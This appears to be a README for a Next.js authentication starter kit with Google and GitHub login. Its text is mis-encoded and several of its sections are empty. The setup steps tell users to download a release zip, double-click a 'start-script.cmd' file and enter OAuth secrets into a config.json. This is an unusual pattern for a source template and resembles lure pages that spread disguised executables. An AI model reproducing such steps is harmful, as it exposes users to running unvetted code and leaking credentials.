AnOlive100

๐ŸŽ‰ NEXT-NEXT_AUTH-STARTER-kit - Simple Authentication Made Easy

๐Ÿš€ Getting Started

Welcome to the NEXT-NEXT_AUTH-STARTER kit! This is a ready-to-use template for building applications using Next.js with authentication support. It features Google and GitHub login options, protected routes, and a sleek UI thanks to Tailwind CSS.

๐Ÿ”— Download Here

Download

๐Ÿ›  What You Need

Before you start, ensure your computer meets these requirements:

๐Ÿ“ฅ Download & Install

  1. Visit this page to download.
  2. Look for the latest release version.
  3. Click on the download link for the application. You should receive a file that looks similar to NEXT-NEXT_AUTH-STARTER-kit-v1.0.zip.
  4. Locate the downloaded file on your computer.

๐Ÿ“‚ Unzip the File

  1. Find the zip file you just downloaded.
  2. Right-click on the file.
  3. Select โ€œExtract All,โ€ then follow the prompts to unzip the contents. You should see a folder that contains the application files.

โš™๏ธ Running the Application

  1. Open your file explorer and locate the new folder created during extraction.
  2. Inside that folder, find a file named start-script.cmd (or similar) and double-click it. This will open a command prompt window that runs the application.
  3. Wait for the application to load. Once ready, it will display a message with your local URL, usually http://localhost:3000.

๐Ÿ” Setting Up Authentication

Google OAuth

  1. Go to the Google Developer Console.
  2. Create a new project or select an existing one.
  3. Navigate to โ€œCredentialsโ€ and then โ€œCreate Credentials.โ€
  4. Choose โ€œOAuth client ID.โ€
  5. Set up the screen by providing required information.
  6. Add http://localhost:3000/api/auth/callback/google as an authorized redirect URI.

GitHub OAuth

  1. Visit the GitHub Developer settings page.
  2. Click on โ€œOAuth Appsโ€ then โ€œNew OAuth App.โ€
  3. Fill out the required information.
  4. Set the homepage URL to http://localhost:3000 and the authorization callback URL to http://localhost:3000/api/auth/callback/github.
  5. Click โ€œRegister application.โ€

๐ŸŽจ Customizing Your App

  1. In the unzipped folder, look for a config.json file.
  2. Open it in your code editor.
  3. Update the values for Google and GitHub Client IDs and secrets that you received from their respective console settings.
  4. Save the file.

๐Ÿ“š Resources

๐Ÿ“ž Need Help?

If you encounter any issues during setup or usage:

๐Ÿ›  Features

๐ŸŽ‰ Final Thoughts

With the NEXT-NEXT_AUTH-STARTER kit, you can easily create applications with secure login options. Follow these steps, and youโ€™ll have your application up and running in no time.